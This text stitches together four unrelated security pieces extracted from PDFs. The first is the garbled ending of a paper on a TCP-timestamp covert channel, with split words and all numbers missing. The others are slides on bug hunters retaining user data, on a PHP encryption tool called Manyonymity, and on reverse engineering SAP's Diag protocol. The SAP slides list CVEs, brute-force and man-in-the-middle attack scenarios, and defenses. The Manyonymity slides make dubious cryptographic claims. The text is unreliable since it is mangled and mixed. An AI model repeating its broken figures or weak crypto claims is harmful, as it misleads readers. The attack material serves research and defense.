tains a buer initialized to all zero es whic h represen ts the curren t data blo c k to b e deco ded As pac k ets are receiv ed the receiv er computes the hash of the pac k et headers concatenated with the shared secret He then X ORs bit  of the hash with the lo w order bit of the timestamp of the pac k et he places the result in the buer at the place indicated b y the index In actualit y the data blo c k con tains less than BLOCKSIZE bits of data App ended to it is a c hec ksum of the data The purp ose is the c hec ksum is to inform the receiv er when he has receiv ed the en tire v alid blo c k and should output plain text and allo cate a new blo c k buer The receiv er calculates this hash ev ery time he receiv es a bit and adds it to the buer This c hec ksum needs to b e collision resistan t suc h that the probabilit y that the receiv er will b eliev e he has prematurely found a v alid output without actually ha ving done so either b y c hance or design b y the adv ersary is sucien tly lo w  Ev aluation  Securit y The securit y of this proto col is violated when an adv ersary can determine what data w e are sending or that w e are sending data at all Tw o things con tribute to the lo w order bit of the timestamp the plain text bit and the k ey bit Giv en a random oracle mo del for the hash function used b y the sender the k ey bit will b e a random n um b er pro vided that pac k et headers do not collide P ac k et headers collide only when all TCP header elds are the same includ ing sequence n um b er windo w ags options source p ort destination p ort and the highorder  bits of the timestamp the o dds of suc h a collision happ ening are remark ably small As long as no suc h collisions o ccur the X OR of the plain text bit with the k ey bit is essen tially a onetime pad The lo w order bits of the hash will collide appro ximately once ev ery  pac k ets but the adv ersary has no w a y to detect these collisions without the k ey Should headers collide one bit of information is rev ealed ab out the t w o bits of plain text enco ded in those t w o pac k ets Ev en so no information is gained ab out the senders secret k ey  Of course the adv ersary do es not need to determine precisely what w e are sending merely that w e are in fact sending data The adv ersary can detect our  This assumes that the hash function used is onew a y c hannel if the lo w order bit of the timestamp is nonrandom or the mean time b et w een pac k ets v aries noticeably from the exp ected v alue The lo w order bit of the timestamp is generated as previously discussed with what ma y b e treated as a random onetime pad so it will app ear random  P erformance After sending  pac k ets there is a  c hance that w e ha v e sen t ev ery bit at least once After sending  pac k ets the probabilit y that w e ha v e not sen t ev ery bit has dropp ed to around  in a million Ev en if w e assume that  pac k ets ma y seem lik e a lot but a single hit on an elab orate w ebsite can generate  pac k ets or more esp ecially if the site has man y images whic h m ust b e fetc hed with individual HTTP GET requests F urthermore transfer of a  megab yte le will lik ely generate that man y pac k ets Th us it is fairly easy to generate enough pac k ets to assure a fairly high probabilit y of successful transmission of a data blo c k T o send a total of n bits the message will tak e appro ximately n  ms if the sender is not limited b y net w ork constrain ts  Conclusion and F uture Directions  Conclusions W e ha v e designed a proto col whic h is applicable to a v ariet y of lo w bandwidth lossy co v ert c hannels The proto col pro vides for the probabilistic transmission of data blo c ks Iden tifying p oten tial co v ert c hannels is easier than w orking through the de tails of sending data co v ertly and practically through them The proto col giv es a metho d for sending data o v er newly iden tied co v er c hannels with minimal design in v estmen t The implemen tation of this proto col with TCP timestamps is not y et complete but w e are conden t that there are no ma jor obstacles remaining  F uture Directions F uture directions of our researc h in v olv e impro v emen ts to our implemen tation and w ork on c hannel design that deals with more p o w erful adv ersaries and more div erse situations It w ould b e useful if the sender in the implemen tation w ere able to trac k p ossible via ack messages whic h data had actually b een receiv ed b y the receiv er If this w ere the case the sender w ould not ha v e to rely on probabilit y to decide when a message had gotten through and when he should b egin sending more data It w ould also b e useful to dev elop a bidirectional proto col that pro vided reliable data transfer Although it w ould theoretically b e p ossible to implemen t something lik e TCP on top of our co v ert c hannel this w ould lik ely b e inecien t Th us it w ould b e useful to dev elop a reliabilit y proto col sp ecically for this t yp e of c hannel W e w ould also lik e to iden tify c hannels whic h a resource ric h activ e adv ersary w ould not b e able to close It w ould also b e useful to deal with k ey exc hange as our sender and receiv er ma y not ha v e the opp ortunit y to obtain a shared secret Our system is curren tly only practical for short messages it w ould b e de sirable to b e able to send more data Lastly our proto col is designed to w ork b et w een t w o parties It w ould b e in teresting to design a broadcast c hannel suc h that messages could b e published co v ertly References  Christopher Abad Ip c hec ksum co v ert c hannels and selected hash collision h ttpwwwgra vitinonet aempireipap ersp cccp df   Ross Anderson and F abien AP P etitcolas On the limits of steganograph y IEEE Journal on Sele cte d A r e as in Communic ations  Ma y    SM Bello vin Securit y problems in the tcpip proto col suite Computer Commu nic ation R eview   April    Christian Cac hin An informationtheoretic mo del for steganograph y In Da vid Aucsmith editor Information Hiding nd International Workshop volume  of L e ctur e Notes in Computer Scienc e pages  Springer   Revised v ersion Marc h  a v ailable as Cryptology ePrin t Arc hiv e Rep ort  url h ttpeprin tiacrorg  rd DEastlak e and P Jones Us secure hash algorithm  sha Rfc Net w ork W orking Group  h ttpwwwietforgrfcrfc  txt  Markus G Kuhn F abian AP P etitcolas Ross J Anderson Information hiding a surv ey In Pr o c e e dings of the IEEE   F ederal bureau of in v estigation programs and initiativ es carniv ore h ttpwwwfbigo vhqlabcarniv orecarnlrgrmaph tm  James W Gra y I I I Coun termeasures and tradeos for a class of co v ert timing c hannels John McHugh Covert Channel A nalysis P ortland State Univ ersit y    Ira S Mosk o witz and Allen R Miller Simple timing c hannels In IEEE Computer So ciety Symp osium on R ese ar ch in Se curity and Privacy pages  IEEE Press Ma y     IS Mosk o witz and MH Kang Co v ert c hannels here to sta y In COMP ASS  pages     Jon P ostel T ransmission con trol proto col RF C   Information Sciences In stitute Univ ersit y of Southern California  Admiralt y W a y Marina del Rey California   Sep   h ttpwwwietforgrfcrfc  txt  Craig H Ro wland Co v ert c hannels in the tcpip proto col suite First Monday httpwwwrstmondaydkissuesissue r ow land    G J Simmons The subliminal c hannels in the us digital signature algorithm dsa In W W olfo wicz editor r d Symp osium on State and Pr o gr ess of R ese ar ch in Crypto gr aphy pages  Rome Italy F ebruary     G J Simmons Subliminal c hannels P ast and presen t In Eur op e an T r ans on T ele c ommunic ations  pages   JulAug    G J Simmons Results concerning the bandwidth of subliminal c hannels IEEE J on Sele cte d A r e as in Communic ations  pages  Ma y    GJ Simmons The prisoners problem and the subliminal c hannel In CR YPTO  pages  Plen um Press    et al Stev e McCanne libp cap the pac k et capture library h ttpwwwtcp dumporg  Uc da vis denial of service dos pro ject meeting notes h ttpseclabcsucda visedupro jectsdenialservicemeetings mh tml Jan uary  
pdf
Bug Hunters dump user data. Can they keep it? Well they’re keeping it anyway. Who? Data Protection Officer & Privacy Attorney - a lawyer, but not your lawyer Co-Founder of Truffle Security, TruffleHog author, bug hunter, security researcher, etc… Whitney Merrill @wbm312 Dylan Ayrey @InsecureNature Do bug hunters touch your data? Job done. Crap. Yes. Not yet There’s data everywhere Data flow diagram Employee laptop XSSHunter* Gmail My Hard drive Time machine Bug tracker *and/or other similarly situated third-party tool XSSHunter isn’t clear The bug platform itself This incident isn’t isolated —All the bug hunters I asked “Uh… yeah” Never hurts to ask Dang. Holy crap that worked. “Your PoC exfiltrated email addresses but it seems other PII could have been hypothetically at risk. The user base was relatively small (a few thousand) as this was an experimental project." “Be sure that any PII that was in your PoC should be obfuscated. We are excited that we can be included in your talk and help give back to the security community." Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notifications? Not to my knowledge. “Re: notification. We are following our usual privacy incident process, that includes notification of customers in case it's necessary. Not sure if it was necessary in this case, our team doesn't see that part of the process." Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notifications? Not to my knowledge. Wait hold up…. Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notifications? Not to my knowledge. What about other researchers? What about other researchers? https://blog.assetnote.io/bug-bounty/2019/01/14/gaining-access-to-ubers-user-data-through-ampscript-evaluation/ Making it rain Shubs Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notifications? Not to his knowledge. What about other researchers? https://samcurry.net/hacking-starbucks/ ““I tried my best to limit is as I didn't want to cause any problems from their side, so I only included like 5-6 other peoples records”“ Asked to delete data? No. Maintain data access through ticket? Yes. Disclosure notifications? Not to his knowledge. These aren’t one-off’s. Why does it happen? Sometimes it’s an accident. Sometimes it’s not an accident. Bountier incentives Triager incentives Triager incentives Thank you to the companies that let us talk about it Shame on journalists punishing transparent companies Not helpful Howbout this? 04 So what if this data is everywhere? Why should you care? XSSHunter has 1.66TB of data in it 2 weeks ago My bounty account didn’t have 2fac It’s a trend Time to clean up and try to contain sensitive data while still advancing security programs If you build it… Prepare for the worst… Major requirements Prevent Cleanup If you know confidential or personal data is on a system, clean it up - and keep a record of the clean up. Be ready. Set policies to prevent data leaks and continually enhance them. Work with your privacy team or compliance teams. Prevention & cleanup opportunities Employee laptop XSSHunter & other platforms Gmail My Hard drive Backups Bug tracker *or company assets Employee laptop* XSSHunter & other platforms Gmail My Hard drive Backups Bug tracker Prevention & cleanup opportunities *or company assets Employee laptop* XSSHunter & other platforms Gmail My Hard drive Backups Bug tracker Prevention & cleanup opportunities *or company assets XSSHunter & other platforms Employee laptop* Gmail My Hard drive Backups Bug tracker Prevention & cleanup opportunities *or company assets XSSHunter & other platforms Employee laptop* Gmail My Hard drive Backups Bug tracker Prevention & cleanup opportunities *or company assets XSSHunter & other platforms Employee laptop* Gmail My Hard drive Backups Bug tracker Prevention & cleanup opportunities *or company assets XSSHunter & other platforms Employee laptop* Gmail My Hard drive Backups Bug tracker Prevention & cleanup opportunities *or company assets Other unknown third parties Prevention & cleanup opportunities ? Ideal data flow Who knows??? This stuff is complicated Legal obligations? The company Running the bug bounty program The platforms That facilitate the bug bounty program and researcher tools The researcher Bug hunter hoping to get $ for bugs “It depends” “knowingly accessed a computer without authorization or exceeding authorized access” Authorized? Potentially limited by terms Personal data handling requirements could apply CFAA (US) Bug bounty / Coordinated Vulnerability Disclosure Privacy laws Bug bounty & the law Lawyer help & other resources ● EFF Coder’s Rights Project: https://www.eff.org/issues/coders ● Luta Security ● Your in-house legal team No but really, legal obligations? The company Running the bug bounty program The platforms That facilitate the bug bounty program and researcher tools The researcher Bug hunter hoping to get $ for bugs Company takeaways As original stewards of the data, you have legal and contractual obligations to end users or customers - be aware of those. Work with your legal team. Don’t hold on to data forever. Researcher takeaways Tell the truth. Say it, don’t spray it. Don’t hold on to data. Stay within bounty terms. Use 2FA on our H1 and Bugcrowd accounts. Platform takeaways Give customers control. Consider privacy by design. Clearly communicate privacy practices. Allow for retention policies for attachments & tickets. This is not unique to bug bounties, it will exist in general pentesting ecosystem Good data governance and a strong foundation will set everyone up for success We <3 Bug Bounties Good data handling prevents security incidents General takeaways Thank you! Questions? Whitney Merrill @wbm312 Dylan Ayrey @InsecureNature
pdf
Manyonymity: It‟s Who You Don‟t Know GM  To Think About  PHP Distributed Encryption  What is an acceptable level of mass- market encryption?  How does the “average joe” fingerprint and protect their daily communication?  What are the true benefits of open- source vs. major company-owned encryption services?  What percentage of your daily digital communication is sent unencrypted?  How do we accelerate the adoption of PHP at the server level? Manyonymity: In The Beginning  What We‟re Going To Talk About  Questions & answers  General discussion of encryption methods, theories and apps  Introduction to Manyonymity  In-depth: Installing Manyonymity  Demo: configuring Manyonymity, bringing it to “GO”  In-depth: Maintaining Manyonymity (Admin)  Demo: administering Manyonymity, reports, alerts & tools  In depth: Using Manyonymity (Member)  Demo: sign-up, text encryption, fingerprinting  Conclusion: Review  Conclusion: Future Manyonymity: By Adam Bresson  Who I Am  10+ years in computers with expertise in all PC OS‟s, Linux, PHP and Security  DEFCON 08/2000: Palm Security Talk  DEFCON 09/2001: PHP, Data Mining & Web Security Talk  DEFCON 10/2002: Consumer Media Protections (CMP) Talk  Started Recommendo.com, a web community devoted to What You‟ll Like connections between Movies, TV, Books and Music, human-based reviews  Started GetAnyGame.com, a web community that rents video games for the major consoles by mail and recycles your old games by helping you make money renting them on consignment Manyonymity: You Want Answers?  What is an acceptable level of mass-market encryption?  128-bit SSL is standard in the browser and OS, we need fingerprinting, encryption and steganography  How does the “average joe” fingerprint and protect their daily communication?  Use M from multiple points of access for max reliability  What are the true benefits of open-source vs. major company- owned encryption services?  Open-source is expandable, solid, reliable, free-of-influence (political, etc.)  What percentage of your daily digital communication is sent unencrypted?  National average=15%, strive for 50% of important info  How do we deem information important? Test: a leak would cause detrimental financial impact  How do we accelerate the adoption of PHP at the server level?  PHP high-quality applications that are anywhere-deployable  PHP that pushes boundaries and innovates  PHP that opens new markets and propels the languages‟ dev Manyonymity: General Encryption.1  Why Use Encryption?  40-bit SSL can be cracked by an Intel Pentium 266 in one hour  Reduce leaks of competitive company info & reduce liability  ITworld.com: provides authentication, integrity and accountability  Unencrypted records can be subpoenaed  Maintain file integrity over lossy TCP/IP Base64/MIME  Manyonymity is easy with a quick learning curve and more sophisticated features as expertise grows Manyonymity: General Encryption.2  Key Concepts  Algorithm: mathematical formula used to transform information  Fingerprinting: representing a file with a one-way key that only the unique makeup of that file would yield  Encryption: replacing information with a new representation of that information, often using an algorithm  Steganography: hiding information almost imperceptibly in a picture or other file (for example, JPEG or MP3)  Geometric Transformation: using geometry and its formulas to encrypt data, developing theory Manyonymity: General Encryption.3  Geometric Transformations  Using geometric formulas such as the area of a circle as an algorithm to generate strong, difficult-to-reverse results when encrypting  Example: Area Of A Circle • Given the area of a circle, calculate the dot density of the perimeter • Use the simple dot density value (100/inch) to reverse for the area • Area + dot density value=seed • Send the dot density value via email  Could be used with other functions and shapes, could be combined  Strung together like a key chain, reversible only if one knew each notch Manyonymity: Introduction To M.1  What is Manyonymity?  Distributed: an encryption system with centralized server lists used to link logon information, facilitate searches and alert installations re: updates  Modular: add additional encryption options using secure, authenticated delivery as they become available (i.e. steganography for MP3)  Innovative: designed to bring encryption to everyone by making fingerprinting and encryption accessible without sacrificing the option of more sophisticated features Manyonymity: Introduction To M.2  Key Points  Easier to use than existing add-on Windows or Linux apps that compute MD5 hashes, quick email links provide one-click accessibility of verification  New methods of encryption ranging from simple (byte-shifting or XOR) to complex (geometric transformation or Twofish) immediately usable  Plugin modules allow deployments to evolve as fingerprinting and encryption methods change  Open-source will ensure rock-solid, smooth and fast code  Requirements: Apache 1.3.x, PHP 4.3.x, MySQL 4.0.x, mcrypt Manyonymity: Installing M.1  Tips for Apache, PHP & MySQL  Download & unzip  Change mconfig.php options  Test installation & register server  Demo: configuring Manyonymity, bringing it to “GO” Manyonymity: Installing M.2  Tips for Apache, PHP & MySQL  Download latest versions of all software, watch for problems (i.e. Apache 2.x experimental w/ PHP 4)  Only turn on PHP options in „php.ini- recommended‟ that are required, limit ext.  Remove all MySQL user accounts except localhost/root and add strong password  Set new values for max_execution_time= and memory_limit= compatible with hardware  Only open Apache/HTTP port 80 through firewall, watch Slashdot for recent patches Manyonymity: Installing M.3  Download & unzip  Get the latest version from M homepage [www.manyonymity.com]  Compatible with Linux and Windows, .tar and .zip are identical  Comes with modules: TCRYPT & MD5FING, must authorize!  Use MD5 hash to verify download  Unpack to www with directory structure Manyonymity: Installing M.4  Change mconfig.php options  Verify $masterserver matches M homepage  Set $serverroot= to your absolute URL, i.e. [www.getanygame.com/m/]  Create MySQL db, set db name and password  Set security level, see comments, recommend setting „H‟ for high  Configure color scheme via hex or word color codes, i.e. „#FFFFFF‟ or „black‟ Manyonymity: Installing M.5  Test installation & register server  Run „Test Installation‟ tool, make changes accordingly, M won‟t accept logins until „Test Installation‟ generates (0) errors at runtime  Run „Register Server‟ tool to establish your server with the Master, will add your installation and poll for availability, statistics Manyonymity: Installing M.6  Demo: configuring Manyonymity, bringing it to “GO” 1. Review Apache/PHP/MySQL installation 2. Download latest M version 3. Unzip to www 4. Configure options 5. Run „Test Installation‟ and „Register Server‟ tools 6. Present opening Manyonymity screen Manyonymity: Maintaining M (Admin).1  Maintaining inter- server relationships  Reports & alerts  Adding modules  Tools  Demo: administering Manyonymity, reports, alerts & tools Manyonymity: Maintaining M (Admin).2  Maintaining inter-server relationships  Why?: linking Manyonymity servers ensures universal login via login forwarding, integrated searches and alerts/updates  Server list at M homepage communicates server status, popularity and modules (services) available  Don‟t forget to add MD5 admin password!  After registering your server, run „Update Server Info‟ after any changes from Tools to catalog your server and automatically update its listing Manyonymity: Maintaining M (Admin).3  Reports & alerts  Statistics calculated in real-time include # of active uses of each module, member signups and volume indicators  Reports include # & % of historical uses of each module, member detail, db consistency  Alerts are delivered in a “task list” format in the admin area, will highlight unperformed maintenance, updates, etc.  Most alerts have an associated link or action Manyonymity: Maintaining M (Admin).4  Adding modules  Get the latest module list for verified, secure modules at M homepage  Download a module, „readme.txt‟, drop into the /modules directory  Use „Authorize New Module‟ tool described next & demo‟ed to activate  Verify module availability on live site Manyonymity: Maintaining M (Admin).5  Tools  Customization: News, About, Info  Member: Suspend, Deactivate, Email  Installation: Test, Register  Authorize New Module: choose from list, enter authcode, MD5, ready!  Update Server Info: will catalog your server, upload module list and verify Manyonymity: Maintaining M (Admin).6  Demo: administering Manyonymity, reports, alerts & tools 1. View real-time statistics 2. View # & % historical module report 3. Check alerts, complete task 4. Authorize New Module: 1. Download from list 2. Get authcode & enter 3. Complete MD5 check 4. Module ready 5. Verify availability Manyonymity: Using M (Member).1  Introduction & signup  Setting account prefs (privacy, etc.)  Encrypting your email (text encrypt)  Fingerprinting a file (binary MD5)  Demo: sign-up, text encryption, fingerprinting Manyonymity: Using M (Member).2  Introduction & signup  Member accounts link encrypted content to a Member profile with account rights  Member security: only information required is a valid Member name, it is linked to the Member‟s home server  Members can signup at any Manyonymity server. However, login, encryption/decryption and fingerprinting are ONLY accessible through their home server Manyonymity: Using M (Member).3  Setting account prefs (privacy, etc.)  Account rights can ONLY be set on a Member‟s home server  After login, Members can access Preferences from Welcome  Preferences include access to services (useful for your Boss), Open/Close decryption and fingerprinting access (Member/Non-Member), Forums Manyonymity: Using M (Member).4  Encrypting your email (text)  Login to your home server  Choose „Encrypt Text‟ from Welcome  Follow 3 Steps: • Choose Encryption method • Create or copy/paste text into window, choose Save or Display • If Save, M will save your encrypted text w/ your account for future decryption and present a link used to retrieve/decrypt • If Send, M will present your encrypted text for copy/paste into the app of your choice Manyonymity: Using M (Member).5  Fingerprinting a file (binary)  Login to your home server  Choose „Fingerprint A File‟ from Welcome  Follow 3 Steps: • Choose your file • Enter a unique id label, choose Fingerprint • M will present a link used by the file recipient to match MD5 fingerprint Manyonymity: Using M (Member).6  Demo: sign-up, text encryption, fingerprinting 1. Walkthrough sign-up and setting account prefs 2. Demonstrate „Encrypt Text‟ 1. Watch copy/paste 2. Discuss encryption methods 3. Save vs. Display 3. Demonstrate „Fingerprint A File‟ 1. Watch file size (limits) 2. Discuss MD5 fingerprinting 3. Open vs. Closed access Manyonymity: Conclusion.1  M: It‟s Who You Don‟t Know GM  Installing Manyonymity  Maintaining Manyonymity  Using Manyonymity  Benefits of encryption & fingerprinting  Manyonymity‟s Goal: flexible encryption, distributed geographically using PHP and always GNU GPL Manyonymity: Conclusion.2  Future  Abstract text and adapt for other languages, Unicode?  Additional modules such as steganography, other algorithms, auto-authorize  Adapt from Master/Slave model to P2P  Windows/Linux plugin for major email clients to automatically copy/paste  100 international servers! Manyonymity: Conclusion.3  “dir \MANYONYMITY” on DEF CON 11 CD  01-Manyonymity Presentation (ppt)  02-IE link to Manyonymity homepage  03-MaxCrypt (freeware)  04-GRLRealHidden (freeware)  05-Cleaner (freeware)
pdf
P A G E Uncovering SAP vulnerabilities: Reversing and breaking the Diag protocol Martin Gallo – Core Security Defcon 20 – July 2012 P A G E 2 Agenda • Introduction • Motivation and related work • SAP Netweaver architecture and protocols layout • Dissecting and understanding the Diag protocol • Results and findings • Defenses and countermeasures • Conclusion and future work P A G E Introduction 3 P A G E 4 Introduction • Leader business software provider • Sensitive enterprise business processes runs on SAP systems • SAP security became a hot topic • Some components still not well covered • Proprietary protocols used at different components P A G E 5 Introduction • Dynamic Information and Action Gateway (Diag) protocol (aka “SAP GUI protocol”) • Link between presentation layer (SAP GUI) and application layer (SAP Netweaver) • Present in every SAP NW ABAP AS • Compressed but unencrypted by default • TCP ports 3200 to 3298 P A G E 6 Agenda • Introduction • Motivation and related work • SAP Netweaver architecture and protocols layout • Dissecting and understanding the Diag protocol • Results and findings • Defenses and countermeasures • Conclusion and future work P A G E Motivation and related work 7 P A G E 8 Previous work on Diag protocol Proprietary tools Proxy-like tool Sniffing through reflection- method Compression algorithm disclosed Decompression Wireshark plug-in Cain&Abel sniffing ? P A G E 9 Motivation • Previous work mostly focused on decompression • Protocol inner workings remains unknown • No practical tool for penetration testing 289 836 734 518 2009 2010 2011 2012 # of Security Notes Only 2 out of ~2300 security fixes published by SAP since 2009 affected components related to Diag P A G E 1 0 Agenda • Introduction • Motivation and related work • SAP Netweaver architecture and protocols layout • Dissecting and understanding the Diag protocol • Results and findings • Defenses and countermeasures • Conclusion and future work P A G E SAP Netweaver architecture and protocols layout 1 1 P A G E 1 2 SAP Netweaver architecture P A G E 1 3 Relevant concepts and components • ABAP • SAP’s programming language • Dispatcher and work processes (wp) • Dispatcher: distribute user requests across wp • Work processes: handles specific tasks • Types: dialog, spool, update, background, lock • Dialog processing • Programming method used by ABAP • Separates business programs in screens and dialog steps P A G E 1 4 SAP Protocols layout Proprietary protocols NI (Network Interface) Protocol RFC Diag Protocol Router BAPI Standard protocols HTTP SOAP SSL P A G E 1 5 Agenda • Introduction • Motivation and related work • SAP Netweaver architecture and protocols layout • Dissecting and understanding the Diag protocol • Results and findings • Defenses and countermeasures • Conclusion and future work P A G E Dissecting and understanding the Diag protocol 1 6 P A G E 1 7 Approach • ‘Black-box’ • No binary reverse engineering techniques were used • Enable system/developer traces (GUI/app server) • Analyze network and application traces • Learn by interacting with the components (GUI/app server) • Continuous improvement of test tools based on gained knowledge Dissecting and understanding the Diag protocol P A G E 1 8 NI (Network Interface) Protocol Diag Protocol DP Header (optional) Diag Header Payload Compressio n Header (optional) Diag Item 1 … Diag Item n Dissecting and understanding the Diag protocol P A G E 1 9 Initialization • Identified only two relevant protocol states: • Not initialized • Initialized • User’s context assigned in shared memory • Started by GUI application • Only first packet • Always uncompressed NI (Network Interface) Protocol Diag Protocol DP Header (optional) Diag Header Payload Compressi on Header (optional) Diag Item 1 … Diag Item n Dissecting and understanding the Diag protocol P A G E 2 0 DP Header • 200 bytes length • Two different semantics • IPC (inter process communication) • Used in communications between dispatcher and work processes • Synchronization and status • Network • Most fields filled with default values • Relevant fields: • Terminal name, Length • Only present during initialization (first packet) Dissecting and understanding the Diag protocol NI (Network Interface) Protocol Diag Protocol DP Header (optional) Diag Header Payload Compressi on Header (optional) Diag Item 1 … Diag Item n P A G E 2 1 Diag Header Dissecting and understanding the Diag protocol Diag Protocol DP Header (optional) Diag Header Payload Compressi on Header (optional) Diag Item 1 … Diag Item n Mode Comm Flag Mode Stat Error Flag Msg type Msg Info Msg RC Comp Flag 0 1 2 3 4 5 6 7 Identifies different sessions using the same channel Compression enabled/disabled, encryption using SNC NI (Network Interface) Protocol P A G E 2 2 Compression • Enabled by default • Uses two variants of Lempel-Ziv Adaptive Compression Algorithm • LZH (Lempel-Ziv-Huffman) LZ77 • LZC (Lempel-Ziv-Welch-Thomas) LZ78 • Same implementation as SAP’s MaxDB open source project • Can be disabled in GUI by setting TDW_NOCOMPRESS environment variable Dissecting and understanding the Diag protocol NI (Network Interface) Protocol Diag Protocol DP Header (optional) Diag Header Payload Compressi on Header (optional) Diag Item 1 … Diag Item n P A G E 2 3 Compression Header Dissecting and understanding the Diag protocol NI (Network Interface) Protocol Diag Protocol DP Header (optional) Diag Header Payload Compressi on Header (optional) Diag Item 1 … Diag Item n Uncompressed length Comp Alg Magic Bytes x1F x9D Special Byte 0 4 5 7 LZH: 0x12 LZC: 0x10 LZH: compression level LZC: max # of bits per code P A G E 2 4 Payload Dissecting and understanding the Diag protocol NI (Network Interface) Protocol Diag Protocol DP Header (optional) Diag Header Payload Compressi on Header (optional) Diag Item 1 … Diag Item n SES Fixed length (16 bytes) Session information ICO Fixed length (20 bytes) Icon information TIT Fixed length (3 bytes) Title information DiagMessage Fixed length (76 bytes) Old Diag message OKC (? Bytes) CHL Fixed length (22 bytes) SBA Fixed length (9 bytes) List items EOM Fixed length (0 bytes) End of message APPL/APPL4 Variable length DIAG_XMLBlob Variable length XML Blob SBA2 Fixed length (36 bytes) List items P A G E 2 5 APPL/APPL4 items Dissecting and understanding the Diag protocol NI (Network Interface) Protocol Diag Protocol DP Header (optional) Diag Header Payload Compressi on Header (optional) Diag Item 1 … Diag Item n Type Length Field ID SID 0 1 3..5 4..6 APPL: 0x10 APPL4: 0x12 APPL: 2 bytes APPL4: 4 bytes P A G E 2 6 Protocol version • APPL item included in payload during initialization • Can disable compression using version number “200” Authentication • Performed as a regular dialog step • Set user’s context on work processes shared memory Embedded RFC calls • APPL item that carries RFC calls in both directions • Server doesn’t accept RFC calls until authenticated Diag protocol security highlights P A G E 2 7 Agenda • Introduction • Motivation and related work • SAP Netweaver architecture and protocols layout • Dissecting and understanding the Diag protocol • Results and findings • Defenses and countermeasures • Conclusion and future work P A G E Results and findings 2 8 P A G E 2 9 Packet dissection • Wireshark plug-in written in C/C++ • NI Protocol dissector • TCP reassembling • Router Protocol dissector • Basic support • Diag protocol dissector • Decompression • DP header / Diag Header / Compression Header • Item ID/SID identification and dissection of relevant items • Call RFC dissector for embedded calls • RFC protocol dissector • Basic coverage of relevant parts P A G E 3 0 Packet dissection P A G E 3 1 Packet crafting • Scapy classes • SAPNi • SAPDiagDP (DP Header) • SAPDiag (Diag header + compression) • SAPDiagItem • Custom classes for relevant Diag items • PoC and example scripts • Information gathering • Login Brute Force • Proxy/MITM script • Diag server P A G E 3 2 Fuzzing approach • Fuzzing scheme using • scapy classes • test cases generation • delivery • windbg • monitoring • xmlrpc • syncronization • Monitoring of all work processes P A G E 3 3 Vulnerabilities found • 6 vulnerabilities released on May 2012 affecting SAP NW 7.01/7.02, fix available on SAP Note 168710 • Unauthenticated remote denial of service when developed traces enabled • CVE-2012-2511 – DiagTraceAtoms function • CVE-2012-2512 – DiagTraceStreamI function • CVE-2012-2612 – DiagTraceHex function P A G E 3 4 Vulnerabilities found • Unauthenticated remote denial of service • CVE-2012-2513 – Diaginput function • CVE-2012-2514 – DiagiEventSource function • Unauthenticated remote code execution when developer traces enabled • CVE-2012-2611 – DiagTraceR3Info function • Stack-based buffer overflow while parsing ST_R3INFO CODEPAGE item • Thanks to Francisco Falcon (@fdfalcon) for the exploit P A G E 3 5 Attack scenarios Target applications servers SAP NW AS Exploit mentioned CVEs Gather server information Login brute force Attacker P A G E 3 6 Attack scenarios Target GUI users Attacker SAP NW AS GUI User GUI User GUI User Rogue Server Inject RFC calls in user’s GUI Gather credentials GUI Shortcut MitM P A G E 3 7 Agenda • Introduction • Motivation and related work • SAP Netweaver architecture and protocols layout • Dissecting and understanding the Diag protocol • Results and findings • Defenses and countermeasures • Conclusion and future work P A G E Defenses and countermeasures 3 8 P A G E 3 9 Defenses and countermeasures • Restrict network access to dispatcher service • TCP ports 3200-3298 • Use application layer gateways • Implement SNC client encryption • Provides authentication and encryption • Available for free at SAP Marketplace since 2011 • See SAP Note 1643878 • Restrict use of GUI shortcuts • SAP GUI > 7.20 disabled by default • See SAP Note 1397000 P A G E 4 0 Defenses and countermeasures • Use WebGUI with HTTPS • See SAP Note 314568 • Patch regularly • Patch Tuesday • RSECNOTE program, see SAP Note 888889 • Patch CVEs affecting Diag • Look at CORE’s advisory for mitigation/countermeasures • See SAP Note 168710 • Test regularly P A G E 4 1 Agenda • Introduction • Motivation and related work • SAP Netweaver architecture and protocols layout • Dissecting and understanding the Diag protocol • Results and findings • Defenses and countermeasures • Conclusion and future work P A G E Conclusion and future work 4 2 P A G E 4 3 Conclusion • Protocol details now available to the security community • Practical tools for dissection and crafting of protocol’s messages published • New vectors for testing and assessing SAP environments • Discussed countermeasures and defenses P A G E 4 4 Future work • Security assessment and fuzzing of GUI/app server. • Complete dissection of embedded RFC calls. • Full implementation of attack scenarios • Integration with external libraries and exploitation tools. • Security assessment of SNC and coverage of encrypted traffic. P A G E Q & A 4 5 P A G E Thank you ! 4 6 Thanks to Diego, Flavio, Dana, Wata and Euge P A G E 4 7 References https://service.sap.com/sap/support/notes/1643879 http://www.secaron.de/Content/presse/fachartikel/sniffing_diag.pdf http://conus.info/RE-articles/sapgui.html http://www.sensepost.com/labs/conferences/2011/systems_application_proxy_pwnage http://ptresearch.blogspot.com/2011/10/sap-diag-decompress-plugin-for.html http://www.oxid.it/index.html https://service.sap.com/securitynotes http://help.sap.com/saphelp_nw70/helpdata/en/84/54953fc405330ee10000000a114084/frameset.htm http://www.troopers.de/wp-content/uploads/2011/04/TR11_Wiegenstein_SAP_GUI_hacking.pdf http://www.virtualforge.com/tl_files/Theme/Presentations/The%20ABAP%20Underverse%20-%20Slides.pdf http://www.wireshark.org/ http://www.secdev.org/projects/scapy/ http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities https://service.sap.com/sap/support/notes/1687910 http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/cc212b3fa5296fe10000000a42189b/frameset.htm https://service.sap.com/sap/support/notes/1643878 https://service.sap.com/sap/support/notes/1397000 https://service.sap.com/sap/support/notes/314568 https://service.sap.com/sap/support/notes/888889
pdf
